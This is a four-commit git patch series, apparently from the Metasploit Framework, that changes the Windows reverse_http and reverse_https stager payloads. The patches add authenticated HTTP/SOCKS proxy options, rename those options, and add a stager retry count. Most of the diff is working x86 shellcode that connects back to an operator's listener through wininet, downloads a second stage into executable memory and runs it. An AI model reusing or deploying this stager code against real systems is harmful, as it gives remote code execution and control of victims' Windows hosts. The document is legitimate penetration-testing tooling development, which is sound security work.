From 7e89281485c6e5f94075cc1f45671689e71b855a Mon Sep 17 00:00:00 2001 From: HD Moore Date: Mon, 16 Mar 2015 00:03:31 -0500 Subject: [PATCH 1/4] Adds proxy (with authentication) support to reverse_http(s) --- lib/msf/core/payload/windows/reverse_http.rb | 156 ++++++++++++++---- lib/msf/core/payload/windows/reverse_https.rb | 7 +- .../payloads/stagers/windows/reverse_http.rb | 2 +- .../payloads/stagers/windows/reverse_https.rb | 2 +- 4 files changed, 132 insertions(+), 35 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index 55d33c78fa..d98d35db3b 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -27,7 +27,12 @@ module Payload::Windows::ReverseHttp super register_advanced_options( [ - OptInt.new('HTTPStagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']) + OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), + OptString.new('StagerProxyHost', [false, 'An optional proxy server IP address or hostname']), + OptPort.new('StagerProxyPort', [false, 'An optional proxy server port']), + OptString.new('StagerProxyUser', [false, 'An optional proxy server username']), + OptString.new('StagerProxyPass', [false, 'An optional proxy server password']), + OptEnum.new('StagerProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]), ], self.class) end @@ -49,7 +54,12 @@ module Payload::Windows::ReverseHttp host: datastore['LHOST'], port: datastore['LPORT'], url: generate_uri, - exitfunk: datastore['EXITFUNC'] + exitfunk: datastore['EXITFUNC'], + proxy_host: datastore['StagerProxyHost'], + proxy_port: datastore['StagerProxyPort'], + proxy_user: datastore['StagerProxyUser'], + proxy_pass: datastore['StagerProxyPass'], + proxy_type: datastore['StagerProxyType'] } generate_reverse_http(conf) @@ -75,7 +85,7 @@ module Payload::Windows::ReverseHttp # def generate_uri - uri_req_len = datastore['HTTPStagerURILength'].to_i + uri_req_len = datastore['StagerURILength'].to_i # Choose a random URI length between 30 and 255 bytes if uri_req_len == 0 @@ -83,7 +93,7 @@ module Payload::Windows::ReverseHttp end if uri_req_len < 5 - raise ArgumentError, "Minimum HTTPStagerURILength is 5" + raise ArgumentError, "Minimum StagerURILength is 5" end "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW, uri_req_len) @@ -112,6 +122,9 @@ module Payload::Windows::ReverseHttp # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) space += 31 + # Proxy options? + space += 200 + # The final estimated size space end @@ -123,13 +136,37 @@ module Payload::Windows::ReverseHttp # # options should contain: - # ssl: (true|false) - # url: "/url_to_request" - # host: [hostname] - # port: [port] - # exitfunk: [process|thread|seh|sleep] + # ssl: (true|false) + # url: "/url_to_request" + # host: [hostname] + # port: [port] + # exitfunk: [process|thread|seh|sleep] + # proxy_host: [proxy-server] + # proxy_port: [port] + # proxy_user: [username] + # proxy_pass: [password] + # proxy_type: [HTTP|SOCKS] # + proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0) + proxy_info = "" + + if proxy_enabled + if opts[:proxy_type].to_s.downcase == "socks" + proxy_info << "socks=" + else + proxy_info << "http://" + end + + proxy_info << opts[:proxy_host].to_s + if opts[:proxy_port].to_i > 0 + proxy_info << ":#{opts[:proxy_port]}" + end + end + + proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user] + proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass] + http_open_flags = 0 if opts[:ssl] @@ -153,14 +190,11 @@ module Payload::Windows::ReverseHttp asm = %Q^ ;-----------------------------------------------------------------------------; - ; Author: HD Moore - ; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000 + ; Compatible: Confirmed Windows 8.1, Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000 ; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1) - ; Version: 1.0 ;-----------------------------------------------------------------------------; ; Input: EBP must be the address of 'api_call'. - ; Output: EDI will be the socket for the connection to the server ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) load_wininet: push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. @@ -172,45 +206,103 @@ module Payload::Windows::ReverseHttp set_retry: push.i8 8 ; retry 8 times should be enough pop edi - xor ebx, ebx ; push 8 zeros ([1]-[8]) - mov ecx, edi - push_zeros: - push ebx - loop push_zeros - internetopen: - ; DWORD dwFlags [1] - ; LPCTSTR lpszProxyBypass (NULL) [2] - ; LPCTSTR lpszProxyName (NULL) [3] - ; DWORD dwAccessType (PRECONFIG = 0) [4] - ; LPCTSTR lpszAgent (NULL) [5] - push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) - call ebp + xor ebx, ebx ; Set ebx to NULL to use in future arguments + ^ + if proxy_enabled + asm << %Q^ + call get_proxy_server + db "#{proxy_info}", 0x00 + get_proxy_server: + pop ecx + internetopen: + push ebx ; DWORD dwFlags + push esp ; LPCTSTR lpszProxyBypass ("" = empty string) + push ecx ; LPCTSTR lpszProxyName (NULL) + push.i8 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3) + push ebx ; LPCTSTR lpszAgent (NULL) + push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) + call ebp + ^ + else + asm << %Q^ + internetopen: + push ebx ; DWORD dwFlags + push ebx ; LPCTSTR lpszProxyBypass (NULL) + push ebx ; LPCTSTR lpszProxyName (NULL) + push ebx ; DWORD dwAccessType (PRECONFIG = 0) + push ebx ; LPCTSTR lpszAgent (NULL) + push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) + call ebp + ^ + end + + asm << %Q^ internetconnect: - ; DWORD_PTR dwContext (NULL) [6] - ; dwFlags [7] + push ebx ; DWORD_PTR dwContext (NULL) + push ebx ; dwFlags push.i8 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) push ebx ; password (NULL) push ebx ; username (NULL) push #{opts[:port]} ; PORT call got_server_uri ; double call to get pointer for both server_uri and - server_uri: ; server_host; server_uri is saved in EDI for later + server_uri: ; server_host; server_uri is saved in EDI for later db "#{opts[:url]}", 0x00 got_server_host: - push eax ; HINTERNET hInternet + push eax ; HINTERNET hInternet (still in eax from InternetOpenA) push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) call ebp + mov esi, eax ; Store hConnection in esi + ^ + # Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it + # doesn't set the Proxy-Authorization header on the CONNECT request. + + if proxy_enabled && proxy_user + asm << %Q^ + call set_proxy_username + proxy_username: + db "#{proxy_user}",0x00 + set_proxy_username: + pop ecx ; Save the proxy username into ecx + ; DWORD dwBufferLength (length of username) + push #{proxy_user.length} + push ecx ; LPVOID lpBuffer (username) + push.i8 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME) + push esi ; hConnection + push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) + call ebp + ^ + end + + if proxy_enabled && proxy_pass + asm << %Q^ + call set_proxy_password + proxy_password: + db "#{proxy_pass}",0x00 + set_proxy_password: + pop ecx ; Save the proxy password into ecx + ; DWORD dwBufferLength (length of password) + push #{proxy_pass.length} + push ecx ; LPVOID lpBuffer (password) + push.i8 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD) + push esi ; hConnection + push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) + call ebp + ^ + end + + asm << %Q^ httpopenrequest: - ; dwContext (NULL) [8] + push ebx ; dwContext (NULL) push #{"0x%.8x" % http_open_flags} ; dwFlags push ebx ; accept types push ebx ; referrer push ebx ; version push edi ; server URI push ebx ; method - push eax ; hConnection + push esi ; hConnection push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) call ebp xchg esi, eax ; save hHttpRequest in esi diff --git a/lib/msf/core/payload/windows/reverse_https.rb b/lib/msf/core/payload/windows/reverse_https.rb index b22ebbe048..8e3cba9408 100644 --- a/lib/msf/core/payload/windows/reverse_https.rb +++ b/lib/msf/core/payload/windows/reverse_https.rb @@ -51,7 +51,12 @@ module Payload::Windows::ReverseHttps host: datastore['LHOST'], port: datastore['LPORT'], url: generate_uri, - exitfunk: datastore['EXITFUNC'] + exitfunk: datastore['EXITFUNC'], + proxy_host: datastore['StagerProxyHost'], + proxy_port: datastore['StagerProxyPort'], + proxy_user: datastore['StagerProxyUser'], + proxy_pass: datastore['StagerProxyPass'], + proxy_type: datastore['StagerProxyType'] } generate_reverse_https(conf) diff --git a/modules/payloads/stagers/windows/reverse_http.rb b/modules/payloads/stagers/windows/reverse_http.rb index 94bb21082d..470113e01e 100644 --- a/modules/payloads/stagers/windows/reverse_http.rb +++ b/modules/payloads/stagers/windows/reverse_http.rb @@ -10,7 +10,7 @@ require 'msf/core/payload/windows/reverse_http' module Metasploit3 - CachedSize = 306 + CachedSize = 311 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/reverse_https.rb b/modules/payloads/stagers/windows/reverse_https.rb index 92ea6ee42f..02f5911305 100644 --- a/modules/payloads/stagers/windows/reverse_https.rb +++ b/modules/payloads/stagers/windows/reverse_https.rb @@ -11,7 +11,7 @@ require 'msf/core/payload/windows/reverse_https' module Metasploit3 - CachedSize = 326 + CachedSize = 331 include Msf::Payload::Stager include Msf::Payload::Windows From f361e4ee5228791ea364560a5ef796932ef2c876 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Mon, 16 Mar 2015 00:22:10 -0500 Subject: [PATCH 2/4] Prefer the new-style proxy datastore options when available --- lib/msf/core/handler/reverse_http.rb | 14 +++++++------- lib/rex/post/meterpreter/client_core.rb | 10 +++++----- 2 files changed, 12 insertions(+), 12 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 9cf1171805..8de9cfd4d3 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -204,8 +204,8 @@ protected blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}") blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'") - unless datastore['PROXYHOST'].blank? - proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}" + unless datastore['PROXYHOST'].blank? && datastore['StagerProxyHost'].blank? + proxy_url = "http://#{datastore['StagerProxyHost']||datastore['PROXYHOST']}:#{datastore['StagerProxyPort']||datastore['PROXYPORT']}" blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'") end @@ -268,11 +268,11 @@ protected :expiration => datastore['SessionExpirationTimeout'], :comm_timeout => datastore['SessionCommunicationTimeout'], :ua => datastore['MeterpreterUserAgent'], - :proxyhost => datastore['PROXYHOST'], - :proxyport => datastore['PROXYPORT'], - :proxy_type => datastore['PROXY_TYPE'], - :proxy_username => datastore['PROXY_USERNAME'], - :proxy_password => datastore['PROXY_PASSWORD'] + :proxyhost => datastore['StagerProxyHost'] || datastore['PROXYHOST'], + :proxyport => datastore['StagerProxyPort'] || datastore['PROXYPORT'], + :proxy_type => datastore['StagerProxyType'] || datastore['PROXY_TYPE'], + :proxy_username => datastore['StagerProxyUser'] || datastore['PROXY_USERNAME'], + :proxy_password => datastore['StagerProxyPass'] || datastore['PROXY_PASSWORD'] resp.body = encode_stage(blob) diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index ab67096026..f97d073fd4 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -411,11 +411,11 @@ class ClientCore < Extension :expiration => self.client.expiration, :comm_timeout => self.client.comm_timeout, :ua => client.exploit_datastore['MeterpreterUserAgent'], - :proxyhost => client.exploit_datastore['PROXYHOST'], - :proxyport => client.exploit_datastore['PROXYPORT'], - :proxy_type => client.exploit_datastore['PROXY_TYPE'], - :proxy_username => client.exploit_datastore['PROXY_USERNAME'], - :proxy_password => client.exploit_datastore['PROXY_PASSWORD'] + :proxyhost => client.exploit_datastore['StagerProxyHost'] || client.exploit_datastore['PROXYHOST'], + :proxyport => client.exploit_datastore['StagerProxyPort'] || client.exploit_datastore['PROXYPORT'], + :proxy_type => client.exploit_datastore['StagerProxyType'] || client.exploit_datastore['PROXY_TYPE'], + :proxy_username => client.exploit_datastore['StagerProxyUser'] || client.exploit_datastore['PROXY_USERNAME'], + :proxy_password => client.exploit_datastore['StagerProxyPass'] || client.exploit_datastore['PROXY_PASSWORD'] end From 69a808b7444f5ad1b944974bb1cc6413396c931a Mon Sep 17 00:00:00 2001 From: HD Moore Date: Mon, 16 Mar 2015 12:14:42 -0500 Subject: [PATCH 3/4] StagerProxy -> PayloadProxy --- lib/msf/core/handler/reverse_http.rb | 14 ++++++------- lib/msf/core/payload/windows/reverse_http.rb | 20 +++++++++---------- lib/msf/core/payload/windows/reverse_https.rb | 10 +++++----- lib/rex/post/meterpreter/client_core.rb | 10 +++++----- 4 files changed, 27 insertions(+), 27 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 8de9cfd4d3..581a7c64cc 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -204,8 +204,8 @@ protected blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}") blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'") - unless datastore['PROXYHOST'].blank? && datastore['StagerProxyHost'].blank? - proxy_url = "http://#{datastore['StagerProxyHost']||datastore['PROXYHOST']}:#{datastore['StagerProxyPort']||datastore['PROXYPORT']}" + unless datastore['PROXYHOST'].blank? && datastore['PayloadProxyHost'].blank? + proxy_url = "http://#{datastore['PayloadProxyHost']||datastore['PROXYHOST']}:#{datastore['PayloadProxyPort']||datastore['PROXYPORT']}" blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'") end @@ -268,11 +268,11 @@ protected :expiration => datastore['SessionExpirationTimeout'], :comm_timeout => datastore['SessionCommunicationTimeout'], :ua => datastore['MeterpreterUserAgent'], - :proxyhost => datastore['StagerProxyHost'] || datastore['PROXYHOST'], - :proxyport => datastore['StagerProxyPort'] || datastore['PROXYPORT'], - :proxy_type => datastore['StagerProxyType'] || datastore['PROXY_TYPE'], - :proxy_username => datastore['StagerProxyUser'] || datastore['PROXY_USERNAME'], - :proxy_password => datastore['StagerProxyPass'] || datastore['PROXY_PASSWORD'] + :proxyhost => datastore['PayloadProxyHost'] || datastore['PROXYHOST'], + :proxyport => datastore['PayloadProxyPort'] || datastore['PROXYPORT'], + :proxy_type => datastore['PayloadProxyType'] || datastore['PROXY_TYPE'], + :proxy_username => datastore['PayloadProxyUser'] || datastore['PROXY_USERNAME'], + :proxy_password => datastore['PayloadProxyPass'] || datastore['PROXY_PASSWORD'] resp.body = encode_stage(blob) diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index d98d35db3b..e2533cc466 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -28,11 +28,11 @@ module Payload::Windows::ReverseHttp register_advanced_options( [ OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), - OptString.new('StagerProxyHost', [false, 'An optional proxy server IP address or hostname']), - OptPort.new('StagerProxyPort', [false, 'An optional proxy server port']), - OptString.new('StagerProxyUser', [false, 'An optional proxy server username']), - OptString.new('StagerProxyPass', [false, 'An optional proxy server password']), - OptEnum.new('StagerProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]), + OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']), + OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']), + OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']), + OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']), + OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]), ], self.class) end @@ -55,11 +55,11 @@ module Payload::Windows::ReverseHttp port: datastore['LPORT'], url: generate_uri, exitfunk: datastore['EXITFUNC'], - proxy_host: datastore['StagerProxyHost'], - proxy_port: datastore['StagerProxyPort'], - proxy_user: datastore['StagerProxyUser'], - proxy_pass: datastore['StagerProxyPass'], - proxy_type: datastore['StagerProxyType'] + proxy_host: datastore['PayloadProxyHost'], + proxy_port: datastore['PayloadProxyPort'], + proxy_user: datastore['PayloadProxyUser'], + proxy_pass: datastore['PayloadProxyPass'], + proxy_type: datastore['PayloadProxyType'] } generate_reverse_http(conf) diff --git a/lib/msf/core/payload/windows/reverse_https.rb b/lib/msf/core/payload/windows/reverse_https.rb index 8e3cba9408..7a3e502818 100644 --- a/lib/msf/core/payload/windows/reverse_https.rb +++ b/lib/msf/core/payload/windows/reverse_https.rb @@ -52,11 +52,11 @@ module Payload::Windows::ReverseHttps port: datastore['LPORT'], url: generate_uri, exitfunk: datastore['EXITFUNC'], - proxy_host: datastore['StagerProxyHost'], - proxy_port: datastore['StagerProxyPort'], - proxy_user: datastore['StagerProxyUser'], - proxy_pass: datastore['StagerProxyPass'], - proxy_type: datastore['StagerProxyType'] + proxy_host: datastore['PayloadProxyHost'], + proxy_port: datastore['PayloadProxyPort'], + proxy_user: datastore['PayloadProxyUser'], + proxy_pass: datastore['PayloadProxyPass'], + proxy_type: datastore['PayloadProxyType'] } generate_reverse_https(conf) diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index f97d073fd4..7015fdda36 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -411,11 +411,11 @@ class ClientCore < Extension :expiration => self.client.expiration, :comm_timeout => self.client.comm_timeout, :ua => client.exploit_datastore['MeterpreterUserAgent'], - :proxyhost => client.exploit_datastore['StagerProxyHost'] || client.exploit_datastore['PROXYHOST'], - :proxyport => client.exploit_datastore['StagerProxyPort'] || client.exploit_datastore['PROXYPORT'], - :proxy_type => client.exploit_datastore['StagerProxyType'] || client.exploit_datastore['PROXY_TYPE'], - :proxy_username => client.exploit_datastore['StagerProxyUser'] || client.exploit_datastore['PROXY_USERNAME'], - :proxy_password => client.exploit_datastore['StagerProxyPass'] || client.exploit_datastore['PROXY_PASSWORD'] + :proxyhost => client.exploit_datastore['PayloadProxyHost'] || client.exploit_datastore['PROXYHOST'], + :proxyport => client.exploit_datastore['PayloadProxyPort'] || client.exploit_datastore['PROXYPORT'], + :proxy_type => client.exploit_datastore['PayloadProxyType'] || client.exploit_datastore['PROXY_TYPE'], + :proxy_username => client.exploit_datastore['PayloadProxyUser'] || client.exploit_datastore['PROXY_USERNAME'], + :proxy_password => client.exploit_datastore['PayloadProxyPass'] || client.exploit_datastore['PROXY_PASSWORD'] end From 05138524e387e9ad7bb33f97db589e9dc70f45f1 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Mon, 16 Mar 2015 13:35:36 -0500 Subject: [PATCH 4/4] Fix yard docs, fix retries, trim bytes, retested and working --- lib/msf/core/payload/windows/reverse_http.rb | 85 +++++++++---------- lib/msf/core/payload/windows/reverse_https.rb | 8 +- 2 files changed, 47 insertions(+), 46 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index e2533cc466..e3762a0bd1 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -28,11 +28,12 @@ module Payload::Windows::ReverseHttp register_advanced_options( [ OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]), OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']), OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']), OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']), OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']), - OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]), + OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]) ], self.class) end @@ -46,7 +47,8 @@ module Payload::Windows::ReverseHttp ssl: false, host: datastore['LHOST'], port: datastore['LPORT'], - url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW)) + url: generate_small_uri, + retry_count: datastore['StagerRetryCount']) end conf = { @@ -59,7 +61,8 @@ module Payload::Windows::ReverseHttp proxy_port: datastore['PayloadProxyPort'], proxy_user: datastore['PayloadProxyUser'], proxy_pass: datastore['PayloadProxyPass'], - proxy_type: datastore['PayloadProxyType'] + proxy_type: datastore['PayloadProxyType'], + retry_count: datastore['StagerRetryCount'] } generate_reverse_http(conf) @@ -130,24 +133,23 @@ module Payload::Windows::ReverseHttp end # - # Dynamic payload generation + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Bool] :ssl Whether or not to enable SSL + # @option opts [String] :url The URI to request during staging + # @option opts [String] :host The host to connect to + # @option opts [Fixnum] :port The port to connect to + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [String] :proxy_host The optional proxy server host to use + # @option opts [Fixnum] :proxy_port The optional proxy server port to use + # @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS + # @option opts [String] :proxy_user The optional proxy server username + # @option opts [String] :proxy_pass The optional proxy server password + # @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up # def asm_reverse_http(opts={}) - # - # options should contain: - # ssl: (true|false) - # url: "/url_to_request" - # host: [hostname] - # port: [port] - # exitfunk: [process|thread|seh|sleep] - # proxy_host: [proxy-server] - # proxy_port: [port] - # proxy_user: [username] - # proxy_pass: [password] - # proxy_type: [HTTP|SOCKS] - # - + retry_count = [opts[:retry_count].to_i, 1].max proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0) proxy_info = "" @@ -202,25 +204,19 @@ module Payload::Windows::ReverseHttp push esp ; Push a pointer to the "wininet" string on the stack. push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) call ebp ; LoadLibraryA( "wininet" ) - - set_retry: - push.i8 8 ; retry 8 times should be enough - pop edi - xor ebx, ebx ; Set ebx to NULL to use in future arguments ^ if proxy_enabled asm << %Q^ - call get_proxy_server - db "#{proxy_info}", 0x00 - get_proxy_server: - pop ecx internetopen: push ebx ; DWORD dwFlags push esp ; LPCTSTR lpszProxyBypass ("" = empty string) - push ecx ; LPCTSTR lpszProxyName (NULL) - push.i8 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3) + call get_proxy_server + db "#{proxy_info}", 0x00 + get_proxy_server: + ; LPCTSTR lpszProxyName (via call) + push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3) push ebx ; LPCTSTR lpszAgent (NULL) push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) call ebp @@ -242,7 +238,7 @@ module Payload::Windows::ReverseHttp internetconnect: push ebx ; DWORD_PTR dwContext (NULL) push ebx ; dwFlags - push.i8 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) + push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) push ebx ; password (NULL) push ebx ; username (NULL) push #{opts[:port]} ; PORT @@ -261,15 +257,14 @@ module Payload::Windows::ReverseHttp if proxy_enabled && proxy_user asm << %Q^ + ; DWORD dwBufferLength (length of username) + push #{proxy_user.length} call set_proxy_username proxy_username: db "#{proxy_user}",0x00 set_proxy_username: - pop ecx ; Save the proxy username into ecx - ; DWORD dwBufferLength (length of username) - push #{proxy_user.length} - push ecx ; LPVOID lpBuffer (username) - push.i8 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME) + ; LPVOID lpBuffer (username from previous call) + push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME) push esi ; hConnection push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) call ebp @@ -278,15 +273,14 @@ module Payload::Windows::ReverseHttp if proxy_enabled && proxy_pass asm << %Q^ + ; DWORD dwBufferLength (length of password) + push #{proxy_pass.length} call set_proxy_password proxy_password: db "#{proxy_pass}",0x00 set_proxy_password: - pop ecx ; Save the proxy password into ecx - ; DWORD dwBufferLength (length of password) - push #{proxy_pass.length} - push ecx ; LPVOID lpBuffer (password) - push.i8 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD) + ; LPVOID lpBuffer (password from previous call) + push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD) push esi ; hConnection push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) call ebp @@ -307,6 +301,11 @@ module Payload::Windows::ReverseHttp call ebp xchg esi, eax ; save hHttpRequest in esi + ; Store our retry counter in the edi register + set_retry: + push #{retry_count} + pop edi + send_request: ^ @@ -321,9 +320,9 @@ module Payload::Windows::ReverseHttp ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION mov eax, esp - push.i8 4 ; sizeof(dwFlags) + push 4 ; sizeof(dwFlags) push eax ; &dwFlags - push.i8 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) + push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) push esi ; hHttpRequest push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) call ebp @@ -364,7 +363,7 @@ module Payload::Windows::ReverseHttp asm << %Q^ allocate_memory: - push.i8 0x40 ; PAGE_EXECUTE_READWRITE + push 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT push 0x00400000 ; Stage allocation (4Mb ought to do us) push ebx ; NULL as we dont care where the allocation is diff --git a/lib/msf/core/payload/windows/reverse_https.rb b/lib/msf/core/payload/windows/reverse_https.rb index 7a3e502818..7b61d72aec 100644 --- a/lib/msf/core/payload/windows/reverse_https.rb +++ b/lib/msf/core/payload/windows/reverse_https.rb @@ -40,10 +40,11 @@ module Payload::Windows::ReverseHttps # Generate the simple version of this stager if we don't have enough space if self.available_space.nil? || required_space > self.available_space return generate_reverse_https( + ssl: true, host: datastore['LHOST'], port: datastore['LPORT'], - url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW), - ssl: true) + url: generate_small_uri, + retry_count: datastore['StagerRetryCount']) end conf = { @@ -56,7 +57,8 @@ module Payload::Windows::ReverseHttps proxy_port: datastore['PayloadProxyPort'], proxy_user: datastore['PayloadProxyUser'], proxy_pass: datastore['PayloadProxyPass'], - proxy_type: datastore['PayloadProxyType'] + proxy_type: datastore['PayloadProxyType'], + retry_count: datastore['StagerRetryCount'] } generate_reverse_https(conf)